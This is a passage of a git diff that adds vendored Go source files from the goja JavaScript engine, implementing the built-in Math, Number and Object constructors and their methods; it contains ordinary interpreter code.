t.putSym(SymToStringTag, func(r *Runtime) Value { return valueProp(asciiString(classMath), false, false, true) }) + + t.putStr("abs", func(r *Runtime) Value { return r.methodProp(r.math_abs, "abs", 1) }) + t.putStr("acos", func(r *Runtime) Value { return r.methodProp(r.math_acos, "acos", 1) }) + t.putStr("acosh", func(r *Runtime) Value { return r.methodProp(r.math_acosh, "acosh", 1) }) + t.putStr("asin", func(r *Runtime) Value { return r.methodProp(r.math_asin, "asin", 1) }) + t.putStr("asinh", func(r *Runtime) Value { return r.methodProp(r.math_asinh, "asinh", 1) }) + t.putStr("atan", func(r *Runtime) Value { return r.methodProp(r.math_atan, "atan", 1) }) + t.putStr("atanh", func(r *Runtime) Value { return r.methodProp(r.math_atanh, "atanh", 1) }) + t.putStr("atan2", func(r *Runtime) Value { return r.methodProp(r.math_atan2, "atan2", 2) }) + t.putStr("cbrt", func(r *Runtime) Value { return r.methodProp(r.math_cbrt, "cbrt", 1) }) + t.putStr("ceil", func(r *Runtime) Value { return r.methodProp(r.math_ceil, "ceil", 1) }) + t.putStr("clz32", func(r *Runtime) Value { return r.methodProp(r.math_clz32, "clz32", 1) }) + t.putStr("cos", func(r *Runtime) Value { return r.methodProp(r.math_cos, "cos", 1) }) + t.putStr("cosh", func(r *Runtime) Value { return r.methodProp(r.math_cosh, "cosh", 1) }) + t.putStr("exp", func(r *Runtime) Value { return r.methodProp(r.math_exp, "exp", 1) }) + t.putStr("expm1", func(r *Runtime) Value { return r.methodProp(r.math_expm1, "expm1", 1) }) + t.putStr("floor", func(r *Runtime) Value { return r.methodProp(r.math_floor, "floor", 1) }) + t.putStr("fround", func(r *Runtime) Value { return r.methodProp(r.math_fround, "fround", 1) }) + t.putStr("hypot", func(r *Runtime) Value { return r.methodProp(r.math_hypot, "hypot", 2) }) + t.putStr("imul", func(r *Runtime) Value { return r.methodProp(r.math_imul, "imul", 2) }) + t.putStr("log", func(r *Runtime) Value { return r.methodProp(r.math_log, "log", 1) }) + t.putStr("log1p", func(r *Runtime) Value { return r.methodProp(r.math_log1p, "log1p", 1) }) + t.putStr("log10", func(r *Runtime) Value { return r.methodProp(r.math_log10, "log10", 1) }) + t.putStr("log2", func(r *Runtime) Value { return r.methodProp(r.math_log2, "log2", 1) }) + t.putStr("max", func(r *Runtime) Value { return r.methodProp(r.math_max, "max", 2) }) + t.putStr("min", func(r *Runtime) Value { return r.methodProp(r.math_min, "min", 2) }) + t.putStr("pow", func(r *Runtime) Value { return r.methodProp(r.math_pow, "pow", 2) }) + t.putStr("random", func(r *Runtime) Value { return r.methodProp(r.math_random, "random", 0) }) + t.putStr("round", func(r *Runtime) Value { return r.methodProp(r.math_round, "round", 1) }) + t.putStr("sign", func(r *Runtime) Value { return r.methodProp(r.math_sign, "sign", 1) }) + t.putStr("sin", func(r *Runtime) Value { return r.methodProp(r.math_sin, "sin", 1) }) + t.putStr("sinh", func(r *Runtime) Value { return r.methodProp(r.math_sinh, "sinh", 1) }) + t.putStr("sqrt", func(r *Runtime) Value { return r.methodProp(r.math_sqrt, "sqrt", 1) }) + t.putStr("tan", func(r *Runtime) Value { return r.methodProp(r.math_tan, "tan", 1) }) + t.putStr("tanh", func(r *Runtime) Value { return r.methodProp(r.math_tanh, "tanh", 1) }) + t.putStr("trunc", func(r *Runtime) Value { return r.methodProp(r.math_trunc, "trunc", 1) }) + + return t +} + +var mathTemplate *objectTemplate +var mathTemplateOnce sync.Once + +func getMathTemplate() *objectTemplate { + mathTemplateOnce.Do(func() { + mathTemplate = createMathTemplate() + }) + return mathTemplate +} + +func (r *Runtime) getMath() *Object { + ret := r.global.Math + if ret == nil { + ret = &Object{runtime: r} + r.global.Math = ret + r.newTemplatedObject(getMathTemplate(), ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_number.go b/backend/vendor/github.com/dop251/goja/builtin_number.go new file mode 100644 index 0000000..43add4f --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_number.go @@ -0,0 +1,303 @@ +package goja + +import ( + "math" + "sync" + + "github.com/dop251/goja/ftoa" +) + +func (r *Runtime) toNumber(v Value) Value { + switch t := v.(type) { + case valueFloat, valueInt: + return v + case *Object: + switch t := t.self.(type) { + case *primitiveValueObject: + return r.toNumber(t.pValue) + case *objectGoReflect: + if t.class == classNumber && t.valueOf != nil { + return t.valueOf() + } + } + if t == r.global.NumberPrototype { + return _positiveZero + } + } + panic(r.NewTypeError("Value is not a number: %s", v)) +} + +func (r *Runtime) numberproto_valueOf(call FunctionCall) Value { + return r.toNumber(call.This) +} + +func (r *Runtime) numberproto_toString(call FunctionCall) Value { + var numVal Value + switch t := call.This.(type) { + case valueFloat, valueInt: + numVal = t + case *Object: + switch t := t.self.(type) { + case *primitiveValueObject: + numVal = r.toNumber(t.pValue) + case *objectGoReflect: + if t.class == classNumber { + if t.toString != nil { + return t.toString() + } + if t.valueOf != nil { + numVal = t.valueOf() + } + } + } + if t == r.global.NumberPrototype { + return asciiString("0") + } + } + if numVal == nil { + panic(r.NewTypeError("Value is not a number")) + } + var radix int + if arg := call.Argument(0); arg != _undefined { + radix = int(arg.ToInteger()) + } else { + radix = 10 + } + + if radix < 2 || radix > 36 { + panic(r.newError(r.getRangeError(), "toString() radix argument must be between 2 and 36")) + } + + num := numVal.ToFloat() + + if math.IsNaN(num) { + return stringNaN + } + + if math.IsInf(num, 1) { + return stringInfinity + } + + if math.IsInf(num, -1) { + return stringNegInfinity + } + + if radix == 10 { + return asciiString(fToStr(num, ftoa.ModeStandard, 0)) + } + + return asciiString(ftoa.FToBaseStr(num, radix)) +} + +func (r *Runtime) numberproto_toFixed(call FunctionCall) Value { + num := r.toNumber(call.This).ToFloat() + prec := call.Argument(0).ToInteger() + + if prec < 0 || prec > 100 { + panic(r.newError(r.getRangeError(), "toFixed() precision must be between 0 and 100")) + } + if math.IsNaN(num) { + return stringNaN + } + return asciiString(fToStr(num, ftoa.ModeFixed, int(prec))) +} + +func (r *Runtime) numberproto_toExponential(call FunctionCall) Value { + num := r.toNumber(call.This).ToFloat() + precVal := call.Argument(0) + var prec int64 + if precVal == _undefined { + return asciiString(fToStr(num, ftoa.ModeStandardExponential, 0)) + } else { + prec = precVal.ToInteger() + } + + if math.IsNaN(num) { + return stringNaN + } + if math.IsInf(num, 1) { + return stringInfinity + } + if math.IsInf(num, -1) { + return stringNegInfinity + } + + if prec < 0 || prec > 100 { + panic(r.newError(r.getRangeError(), "toExponential() precision must be between 0 and 100")) + } + + return asciiString(fToStr(num, ftoa.ModeExponential, int(prec+1))) +} + +func (r *Runtime) numberproto_toPrecision(call FunctionCall) Value { + numVal := r.toNumber(call.This) + precVal := call.Argument(0) + if precVal == _undefined { + return numVal.toString() + } + num := numVal.ToFloat() + prec := precVal.ToInteger() + + if math.IsNaN(num) { + return stringNaN + } + if math.IsInf(num, 1) { + return stringInfinity + } + if math.IsInf(num, -1) { + return stringNegInfinity + } + if prec < 1 || prec > 100 { + panic(r.newError(r.getRangeError(), "toPrecision() precision must be between 1 and 100")) + } + + return asciiString(fToStr(num, ftoa.ModePrecision, int(prec))) +} + +func (r *Runtime) number_isFinite(call FunctionCall) Value { + switch arg := call.Argument(0).(type) { + case valueInt: + return valueTrue + case valueFloat: + f := float64(arg) + return r.toBoolean(!math.IsInf(f, 0) && !math.IsNaN(f)) + default: + return valueFalse + } +} + +func (r *Runtime) number_isInteger(call FunctionCall) Value { + switch arg := call.Argument(0).(type) { + case valueInt: + return valueTrue + case valueFloat: + f := float64(arg) + return r.toBoolean(!math.IsNaN(f) && !math.IsInf(f, 0) && math.Floor(f) == f) + default: + return valueFalse + } +} + +func (r *Runtime) number_isNaN(call FunctionCall) Value { + if f, ok := call.Argument(0).(valueFloat); ok && math.IsNaN(float64(f)) { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) number_isSafeInteger(call FunctionCall) Value { + arg := call.Argument(0) + if i, ok := arg.(valueInt); ok && i >= -(maxInt-1) && i <= maxInt-1 { + return valueTrue + } + if arg == _negativeZero { + return valueTrue + } + return valueFalse +} + +func createNumberProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getNumber(), true, false, true) }) + + t.putStr("toExponential", func(r *Runtime) Value { return r.methodProp(r.numberproto_toExponential, "toExponential", 1) }) + t.putStr("toFixed", func(r *Runtime) Value { return r.methodProp(r.numberproto_toFixed, "toFixed", 1) }) + t.putStr("toLocaleString", func(r *Runtime) Value { return r.methodProp(r.numberproto_toString, "toLocaleString", 0) }) + t.putStr("toPrecision", func(r *Runtime) Value { return r.methodProp(r.numberproto_toPrecision, "toPrecision", 1) }) + t.putStr("toString", func(r *Runtime) Value { return r.methodProp(r.numberproto_toString, "toString", 1) }) + t.putStr("valueOf", func(r *Runtime) Value { return r.methodProp(r.numberproto_valueOf, "valueOf", 0) }) + + return t +} + +var numberProtoTemplate *objectTemplate +var numberProtoTemplateOnce sync.Once + +func getNumberProtoTemplate() *objectTemplate { + numberProtoTemplateOnce.Do(func() { + numberProtoTemplate = createNumberProtoTemplate() + }) + return numberProtoTemplate +} + +func (r *Runtime) getNumberPrototype() *Object { + ret := r.global.NumberPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.NumberPrototype = ret + o := r.newTemplatedObject(getNumberProtoTemplate(), ret) + o.class = classNumber + } + return ret +} + +func (r *Runtime) getParseFloat() *Object { + ret := r.global.parseFloat + if ret == nil { + ret = r.newNativeFunc(r.builtin_parseFloat, "parseFloat", 1) + r.global.parseFloat = ret + } + return ret +} + +func (r *Runtime) getParseInt() *Object { + ret := r.global.parseInt + if ret == nil { + ret = r.newNativeFunc(r.builtin_parseInt, "parseInt", 2) + r.global.parseInt = ret + } + return ret +} + +func createNumberTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.getFunctionPrototype() + } + t.putStr("length", func(r *Runtime) Value { return valueProp(intToValue(1), false, false, true) }) + t.putStr("name", func(r *Runtime) Value { return valueProp(asciiString("Number"), false, false, true) }) + + t.putStr("prototype", func(r *Runtime) Value { return valueProp(r.getNumberPrototype(), false, false, false) }) + + t.putStr("EPSILON", func(r *Runtime) Value { return valueProp(_epsilon, false, false, false) }) + t.putStr("isFinite", func(r *Runtime) Value { return r.methodProp(r.number_isFinite, "isFinite", 1) }) + t.putStr("isInteger", func(r *Runtime) Value { return r.methodProp(r.number_isInteger, "isInteger", 1) }) + t.putStr("isNaN", func(r *Runtime) Value { return r.methodProp(r.number_isNaN, "isNaN", 1) }) + t.putStr("isSafeInteger", func(r *Runtime) Value { return r.methodProp(r.number_isSafeInteger, "isSafeInteger", 1) }) + t.putStr("MAX_SAFE_INTEGER", func(r *Runtime) Value { return valueProp(valueInt(maxInt-1), false, false, false) }) + t.putStr("MIN_SAFE_INTEGER", func(r *Runtime) Value { return valueProp(valueInt(-(maxInt - 1)), false, false, false) }) + t.putStr("MIN_VALUE", func(r *Runtime) Value { return valueProp(valueFloat(math.SmallestNonzeroFloat64), false, false, false) }) + t.putStr("MAX_VALUE", func(r *Runtime) Value { return valueProp(valueFloat(math.MaxFloat64), false, false, false) }) + t.putStr("NaN", func(r *Runtime) Value { return valueProp(_NaN, false, false, false) }) + t.putStr("NEGATIVE_INFINITY", func(r *Runtime) Value { return valueProp(_negativeInf, false, false, false) }) + t.putStr("parseFloat", func(r *Runtime) Value { return valueProp(r.getParseFloat(), true, false, true) }) + t.putStr("parseInt", func(r *Runtime) Value { return valueProp(r.getParseInt(), true, false, true) }) + t.putStr("POSITIVE_INFINITY", func(r *Runtime) Value { return valueProp(_positiveInf, false, false, false) }) + + return t +} + +var numberTemplate *objectTemplate +var numberTemplateOnce sync.Once + +func getNumberTemplate() *objectTemplate { + numberTemplateOnce.Do(func() { + numberTemplate = createNumberTemplate() + }) + return numberTemplate +} + +func (r *Runtime) getNumber() *Object { + ret := r.global.Number + if ret == nil { + ret = &Object{runtime: r} + r.global.Number = ret + r.newTemplatedFuncObject(getNumberTemplate(), ret, r.builtin_Number, + r.wrapNativeConstruct(r.builtin_newNumber, ret, r.getNumberPrototype())) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_object.go b/backend/vendor/github.com/dop251/goja/builtin_object.go new file mode 100644 index 0000000..6bf1ff8 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_object.go @@ -0,0 +1,711 @@ +package goja + +import ( + "fmt" + "sync" +) + +func (r *Runtime) builtin_Object(args []Value, newTarget *Object) *Object { + if newTarget != nil && newTarget != r.getObject() { + proto := r.getPrototypeFromCtor(newTarget, nil, r.global.ObjectPrototype) + return r.newBaseObject(proto, classObject).val + } + if len(args) > 0 { + arg := args[0] + if arg != _undefined && arg != _null { + return arg.ToObject(r) + } + } + return r.NewObject() +} + +func (r *Runtime) object_getPrototypeOf(call FunctionCall) Value { + o := call.Argument(0).ToObject(r) + p := o.self.proto() + if p == nil { + return _null + } + return p +} + +func (r *Runtime) valuePropToDescriptorObject(desc Value) Value { + if desc == nil { + return _undefined + } + var writable, configurable, enumerable, accessor bool + var get, set *Object + var value Value + if v, ok := desc.(*valueProperty); ok { + writable = v.writable + configurable = v.configurable + enumerable = v.enumerable + accessor = v.accessor + value = v.value + get = v.getterFunc + set = v.setterFunc + } else { + writable = true + configurable = true + enumerable = true + value = desc + } + + ret := r.NewObject() + obj := ret.self + if !accessor { + obj.setOwnStr("value", value, false) + obj.setOwnStr("writable", r.toBoolean(writable), false) + } else { + if get != nil { + obj.setOwnStr("get", get, false) + } else { + obj.setOwnStr("get", _undefined, false) + } + if set != nil { + obj.setOwnStr("set", set, false) + } else { + obj.setOwnStr("set", _undefined, false) + } + } + obj.setOwnStr("enumerable", r.toBoolean(enumerable), false) + obj.setOwnStr("configurable", r.toBoolean(configurable), false) + + return ret +} + +func (r *Runtime) object_getOwnPropertyDescriptor(call FunctionCall) Value { + o := call.Argument(0).ToObject(r) + propName := toPropertyKey(call.Argument(1)) + return r.valuePropToDescriptorObject(o.getOwnProp(propName)) +} + +func (r *Runtime) object_getOwnPropertyDescriptors(call FunctionCall) Value { + o := call.Argument(0).ToObject(r) + result := r.newBaseObject(r.global.ObjectPrototype, classObject).val + for item, next := o.self.iterateKeys()(); next != nil; item, next = next() { + var prop Value + if item.value == nil { + prop = o.getOwnProp(item.name) + if prop == nil { + continue + } + } else { + prop = item.value + } + descriptor := r.valuePropToDescriptorObject(prop) + if descriptor != _undefined { + createDataPropertyOrThrow(result, item.name, descriptor) + } + } + return result +} + +func (r *Runtime) object_getOwnPropertyNames(call FunctionCall) Value { + obj := call.Argument(0).ToObject(r) + + return r.newArrayValues(obj.self.stringKeys(true, nil)) +} + +func (r *Runtime) object_getOwnPropertySymbols(call FunctionCall) Value { + obj := call.Argument(0).ToObject(r) + return r.newArrayValues(obj.self.symbols(true, nil)) +} + +func (r *Runtime) toValueProp(v Value) *valueProperty { + if v == nil || v == _undefined { + return nil + } + obj := r.toObject(v) + getter := obj.self.getStr("get", nil) + setter := obj.self.getStr("set", nil) + writable := obj.self.getStr("writable", nil) + value := obj.self.getStr("value", nil) + if (getter != nil || setter != nil) && (value != nil || writable != nil) { + r.typeErrorResult(true, "Invalid property descriptor. Cannot both specify accessors and a value or writable attribute") + } + + ret := &valueProperty{} + if writable != nil && writable.ToBoolean() { + ret.writable = true + } + if e := obj.self.getStr("enumerable", nil); e != nil && e.ToBoolean() { + ret.enumerable = true + } + if c := obj.self.getStr("configurable", nil); c != nil && c.ToBoolean() { + ret.configurable = true + } + ret.value = value + + if getter != nil && getter != _undefined { + o := r.toObject(getter) + if _, ok := o.self.assertCallable(); !ok { + r.typeErrorResult(true, "getter must be a function") + } + ret.getterFunc = o + } + + if setter != nil && setter != _undefined { + o := r.toObject(setter) + if _, ok := o.self.assertCallable(); !ok { + r.typeErrorResult(true, "setter must be a function") + } + ret.setterFunc = o + } + + if ret.getterFunc != nil || ret.setterFunc != nil { + ret.accessor = true + } + + return ret +} + +func (r *Runtime) toPropertyDescriptor(v Value) (ret PropertyDescriptor) { + if o, ok := v.(*Object); ok { + descr := o.self + + // Save the original descriptor for reference + ret.jsDescriptor = o + + ret.Value = descr.getStr("value", nil) + + if p := descr.getStr("writable", nil); p != nil { + ret.Writable = ToFlag(p.ToBoolean()) + } + if p := descr.getStr("enumerable", nil); p != nil { + ret.Enumerable = ToFlag(p.ToBoolean()) + } + if p := descr.getStr("configurable", nil); p != nil { + ret.Configurable = ToFlag(p.ToBoolean()) + } + + ret.Getter = descr.getStr("get", nil) + ret.Setter = descr.getStr("set", nil) + + if ret.Getter != nil && ret.Getter != _undefined { + if _, ok := r.toObject(ret.Getter).self.assertCallable(); !ok { + r.typeErrorResult(true, "getter must be a function") + } + } + + if ret.Setter != nil && ret.Setter != _undefined { + if _, ok := r.toObject(ret.Setter).self.assertCallable(); !ok { + r.typeErrorResult(true, "setter must be a function") + } + } + + if (ret.Getter != nil || ret.Setter != nil) && (ret.Value != nil || ret.Writable != FLAG_NOT_SET) { + r.typeErrorResult(true, "Invalid property descriptor. Cannot both specify accessors and a value or writable attribute") + } + } else { + r.typeErrorResult(true, "Property description must be an object: %s", v.String()) + } + + return +} + +func (r *Runtime) _defineProperties(o *Object, p Value) { + type propItem struct { + name Value + prop PropertyDescriptor + } + props := p.ToObject(r) + var list []propItem + for item, next := iterateEnumerableProperties(props)(); next != nil; item, next = next() { + list = append(list, propItem{ + name: item.name, + prop: r.toPropertyDescriptor(item.value), + }) + } + for _, prop := range list { + o.defineOwnProperty(prop.name, prop.prop, true) + } +} + +func (r *Runtime) object_create(call FunctionCall) Value { + var proto *Object + if arg := call.Argument(0); arg != _null { + if o, ok := arg.(*Object); ok { + proto = o + } else { + r.typeErrorResult(true, "Object prototype may only be an Object or null: %s", arg.String()) + } + } + o := r.newBaseObject(proto, classObject).val + + if props := call.Argument(1); props != _undefined { + r._defineProperties(o, props) + } + + return o +} + +func (r *Runtime) object_defineProperty(call FunctionCall) (ret Value) { + if obj, ok := call.Argument(0).(*Object); ok { + descr := r.toPropertyDescriptor(call.Argument(2)) + obj.defineOwnProperty(toPropertyKey(call.Argument(1)), descr, true) + ret = call.Argument(0) + } else { + r.typeErrorResult(true, "Object.defineProperty called on non-object") + } + return +} + +func (r *Runtime) object_defineProperties(call FunctionCall) Value { + obj := r.toObject(call.Argument(0)) + r._defineProperties(obj, call.Argument(1)) + return obj +} + +func (r *Runtime) object_seal(call FunctionCall) Value { + // ES6 + arg := call.Argument(0) + if obj, ok := arg.(*Object); ok { + obj.self.preventExtensions(true) + descr := PropertyDescriptor{ + Configurable: FLAG_FALSE, + } + + for item, next := obj.self.iterateKeys()(); next != nil; item, next = next() { + if prop, ok := item.value.(*valueProperty); ok { + prop.configurable = false + } else { + obj.defineOwnProperty(item.name, descr, true) + } + } + + return obj + } + return arg +} + +func (r *Runtime) object_freeze(call FunctionCall) Value { + arg := call.Argument(0) + if obj, ok := arg.(*Object); ok { + obj.self.preventExtensions(true) + + for item, next := obj.self.iterateKeys()(); next != nil; item, next = next() { + if prop, ok := item.value.(*valueProperty); ok { + prop.configurable = false + if !prop.accessor { + prop.writable = false + } + } else { + prop := obj.getOwnProp(item.name) + descr := PropertyDescriptor{ + Configurable: FLAG_FALSE, + } + if prop, ok := prop.(*valueProperty); ok && prop.accessor { + // no-op + } else { + descr.Writable = FLAG_FALSE + } + obj.defineOwnProperty(item.name, descr, true) + } + } + return obj + } else { + // ES6 behavior + return arg + } +} + +func (r *Runtime) object_preventExtensions(call FunctionCall) (ret Value) { + arg := call.Argument(0) + if obj, ok := arg.(*Object); ok { + obj.self.preventExtensions(true) + } + return arg +} + +func (r *Runtime) object_isSealed(call FunctionCall) Value { + if obj, ok := call.Argument(0).(*Object); ok { + if obj.self.isExtensible() { + return valueFalse + } + for item, next := obj.self.iterateKeys()(); next != nil; item, next = next() { + var prop Value + if item.value == nil { + prop = obj.getOwnProp(item.name) + if prop == nil { + continue + } + } else { + prop = item.value + } + if prop, ok := prop.(*valueProperty); ok { + if prop.configurable { + return valueFalse + } + } else { + return valueFalse + } + } + } + return valueTrue +} + +func (r *Runtime) object_isFrozen(call FunctionCall) Value { + if obj, ok := call.Argument(0).(*Object); ok { + if obj.self.isExtensible() { + return valueFalse + } + for item, next := obj.self.iterateKeys()(); next != nil; item, next = next() { + var prop Value + if item.value == nil { + prop = obj.getOwnProp(item.name) + if prop == nil { + continue + } + } else { + prop = item.value + } + if prop, ok := prop.(*valueProperty); ok { + if prop.configurable || prop.value != nil && prop.writable { + return valueFalse + } + } else { + return valueFalse + } + } + } + return valueTrue +} + +func (r *Runtime) object_isExtensible(call FunctionCall) Value { + if obj, ok := call.Argument(0).(*Object); ok { + if obj.self.isExtensible() { + return valueTrue + } + return valueFalse + } else { + // ES6 + //r.typeErrorResult(true, "Object.isExtensible called on non-object") + return valueFalse + } +} + +func (r *Runtime) object_keys(call FunctionCall) Value { + obj := call.Argument(0).ToObject(r) + + return r.newArrayValues(obj.self.stringKeys(false, nil)) +} + +func (r *Runtime) object_entries(call FunctionCall) Value { + obj := call.Argument(0).ToObject(r) + + var values []Value + + for item, next := iterateEnumerableStringProperties(obj)(); next != nil; item, next = next() { + values = append(values, r.newArrayValues([]Value{item.name, item.value})) + } + + return r.newArrayValues(values) +} + +func (r *Runtime) object_values(call FunctionCall) Value { + obj := call.Argument(0).ToObject(r) + + var values []Value + + for item, next := iterateEnumerableStringProperties(obj)(); next != nil; item, next = next() { + values = append(values, item.value) + } + + return r.newArrayValues(values) +} + +func (r *Runtime) objectproto_hasOwnProperty(call FunctionCall) Value { + p := toPropertyKey(call.Argument(0)) + o := call.This.ToObject(r) + if o.hasOwnProperty(p) { + return valueTrue + } else { + return valueFalse + } +} + +func (r *Runtime) objectproto_isPrototypeOf(call FunctionCall) Value { + if v, ok := call.Argument(0).(*Object); ok { + o := call.This.ToObject(r) + for { + v = v.self.proto() + if v == nil { + break + } + if v == o { + return valueTrue + } + } + } + return valueFalse +} + +func (r *Runtime) objectproto_propertyIsEnumerable(call FunctionCall) Value { + p := toPropertyKey(call.Argument(0)) + o := call.This.ToObject(r) + pv := o.getOwnProp(p) + if pv == nil { + return valueFalse + } + if prop, ok := pv.(*valueProperty); ok { + if !prop.enumerable { + return valueFalse + } + } + return valueTrue +} + +func (r *Runtime) objectproto_toString(call FunctionCall) Value { + switch o := call.This.(type) { + case valueNull: + return stringObjectNull + case valueUndefined: + return stringObjectUndefined + default: + obj := o.ToObject(r) + if o, ok := obj.self.(*objectGoReflect); ok { + if toString := o.toString; toString != nil { + return toString() + } + } + var clsName string + if isArray(obj) { + clsName = classArray + } else { + clsName = obj.self.className() + } + if tag := obj.self.getSym(SymToStringTag, nil); tag != nil { + if str, ok := tag.(String); ok { + clsName = str.String() + } + } + return newStringValue(fmt.Sprintf("[object %s]", clsName)) + } +} + +func (r *Runtime) objectproto_toLocaleString(call FunctionCall) Value { + toString := toMethod(r.getVStr(call.This, "toString")) + return toString(FunctionCall{This: call.This}) +} + +func (r *Runtime) objectproto_getProto(call FunctionCall) Value { + proto := call.This.ToObject(r).self.proto() + if proto != nil { + return proto + } + return _null +} + +func (r *Runtime) setObjectProto(o, arg Value) { + r.checkObjectCoercible(o) + var proto *Object + if arg != _null { + if obj, ok := arg.(*Object); ok { + proto = obj + } else { + return + } + } + if o, ok := o.(*Object); ok { + o.self.setProto(proto, true) + } +} + +func (r *Runtime) objectproto_setProto(call FunctionCall) Value { + r.setObjectProto(call.This, call.Argument(0)) + return _undefined +} + +func (r *Runtime) objectproto_valueOf(call FunctionCall) Value { + return call.This.ToObject(r) +} + +func (r *Runtime) object_assign(call FunctionCall) Value { + to := call.Argument(0).ToObject(r) + if len(call.Arguments) > 1 { + for _, arg := range call.Arguments[1:] { + if arg != _undefined && arg != _null { + source := arg.ToObject(r) + for item, next := iterateEnumerableProperties(source)(); next != nil; item, next = next() { + to.setOwn(item.name, item.value, true) + } + } + } + } + + return to +} + +func (r *Runtime) object_is(call FunctionCall) Value { + return r.toBoolean(call.Argument(0).SameAs(call.Argument(1))) +} + +func (r *Runtime) toProto(proto Value) *Object { + if proto != _null { + if obj, ok := proto.(*Object); ok { + return obj + } else { + panic(r.NewTypeError("Object prototype may only be an Object or null: %s", proto)) + } + } + return nil +} + +func (r *Runtime) object_setPrototypeOf(call FunctionCall) Value { + o := call.Argument(0) + r.checkObjectCoercible(o) + proto := r.toProto(call.Argument(1)) + if o, ok := o.(*Object); ok { + o.self.setProto(proto, true) + } + + return o +} + +func (r *Runtime) object_fromEntries(call FunctionCall) Value { + o := call.Argument(0) + r.checkObjectCoercible(o) + + result := r.newBaseObject(r.global.ObjectPrototype, classObject).val + + iter := r.getIterator(o, nil) + iter.iterate(func(nextValue Value) { + i0 := valueInt(0) + i1 := valueInt(1) + + itemObj := r.toObject(nextValue) + k := itemObj.self.getIdx(i0, nil) + v := itemObj.self.getIdx(i1, nil) + key := toPropertyKey(k) + + createDataPropertyOrThrow(result, key, v) + }) + + return result +} + +func (r *Runtime) object_hasOwn(call FunctionCall) Value { + o := call.Argument(0) + obj := o.ToObject(r) + p := toPropertyKey(call.Argument(1)) + + if obj.hasOwnProperty(p) { + return valueTrue + } else { + return valueFalse + } +} + +func createObjectTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.getFunctionPrototype() + } + + t.putStr("length", func(r *Runtime) Value { return valueProp(intToValue(1), false, false, true) }) + t.putStr("name", func(r *Runtime) Value { return valueProp(asciiString("Object"), false, false, true) }) + + t.putStr("prototype", func(r *Runtime) Value { return valueProp(r.global.ObjectPrototype, false, false, false) }) + + t.putStr("assign", func(r *Runtime) Value { return r.methodProp(r.object_assign, "assign", 2) }) + t.putStr("defineProperty", func(r *Runtime) Value { return r.methodProp(r.object_defineProperty, "defineProperty", 3) }) + t.putStr("defineProperties", func(r *Runtime) Value { return r.methodProp(r.object_defineProperties, "defineProperties", 2) }) + t.putStr("entries", func(r *Runtime) Value { return r.methodProp(r.object_entries, "entries", 1) }) + t.putStr("getOwnPropertyDescriptor", func(r *Runtime) Value { + return r.methodProp(r.object_getOwnPropertyDescriptor, "getOwnPropertyDescriptor", 2) + }) + t.putStr("getOwnPropertyDescriptors", func(r *Runtime) Value { + return r.methodProp(r.object_getOwnPropertyDescriptors, "getOwnPropertyDescriptors", 1) + }) + t.putStr("getPrototypeOf", func(r *Runtime) Value { return r.methodProp(r.object_getPrototypeOf, "getPrototypeOf", 1) }) + t.putStr("is", func(r *Runtime) Value { return r.methodProp(r.object_is, "is", 2) }) + t.putStr("getOwnPropertyNames", func(r *Runtime) Value { return r.methodProp(r.object_getOwnPropertyNames, "getOwnPropertyNames", 1) }) + t.putStr("getOwnPropertySymbols", func(r *Runtime) Value { + return r.methodProp(r.object_getOwnPropertySymbols, "getOwnPropertySymbols", 1) + }) + t.putStr("create", func(r *Runtime) Value { return r.methodProp(r.object_create, "create", 2) }) + t.putStr("seal", func(r *Runtime) Value { return r.methodProp(r.object_seal, "seal", 1) }) + t.putStr("freeze", func(r *Runtime) Value { return r.methodProp(r.object_freeze, "freeze", 1) }) + t.putStr("preventExtensions", func(r *Runtime) Value { return r.methodProp(r.object_preventExtensions, "preventExtensions", 1) }) + t.putStr("isSealed", func(r *Runtime) Value { return r.methodProp(r.object_isSealed, "isSealed", 1) }) + t.putStr("isFrozen", func(r *Runtime) Value { return r.methodProp(r.object_isFrozen, "isFrozen", 1) }) + t.putStr("isExtensible", func(r *Runtime) Value { return r.methodProp(r.object_isExtensible, "isExtensible", 1) }) + t.putStr("keys", func(r *Runtime) Value { return r.methodProp(r.object_keys, "keys", 1) }) + t.putStr("setPrototypeOf", func(r *Runtime) Value { return r.methodProp(r.object_setPrototypeOf, "setPrototypeOf", 2) }) + t.putStr("values", func(r *Runtime) Value { return r.methodProp(r.object_values, "values", 1) }) + t.putStr("fromEntries", func(r *Runtime) Value { return r.methodProp(r.object_fromEntries, "fromEntries", 1) }) + t.putStr("hasOwn", func(r *Runtime) Value { return r.methodProp(r.object_hasOwn, "hasOwn", 2) }) + + return t +} + +var _objectTemplate *objectTemplate +var objectTemplateOnce sync.Once + +func getObjectTemplate() *objectTemplate { + objectTemplateOnce.Do(func() { + _objectTemplate = createObjectTemplate() + }) + return _objectTemplate +} + +func (r *Runtime) getObject() *Object { + ret := r.global.Object + if ret == nil { + ret = &Object{runtime: r} + r.global.Object = ret + r.newTemplatedFuncObject(getObjectTemplate(), ret, func(call FunctionCall) Value { + return r.builtin_Object(call.Arguments, nil) + }, r.builtin_Object) + } + return ret +} + +/* +func (r *Runtime) getObjectPrototype() *Object { + ret := r.global.ObjectPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.ObjectPrototype = ret + r.newTemplatedObject(getObjectProtoTemplate(), ret) + } + return ret +} +*/ + +var objectProtoTemplate *objectTemplate +var objectProtoTemplateOnce sync.Once + +func getObjectProtoTemplate() *objectTemplate { + objectProtoTemplateOnce.Do(func() { + objectProtoTemplate = createObjectProtoTemplate() + }) + return objectProtoTemplate +} + +func createObjectProtoTemplate() *objectTemplate { + t := newObjectTemplate() + + // null prototype + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getObject(), true, false, true) }) + + t.putStr("toString", func(r *Runtime) Value { return r.methodProp(r.objectproto_toString, "toString", 0) }) + t.putStr("toLocaleString", func(r *Runtime) Value { return r.methodProp(r.objectproto_toLocaleString, "toLocaleString", 0) }) + t.putStr("valueOf", func(r *Runtime) Value { return r.methodProp(r.objectproto_valueOf, "valueOf", 0) }) + 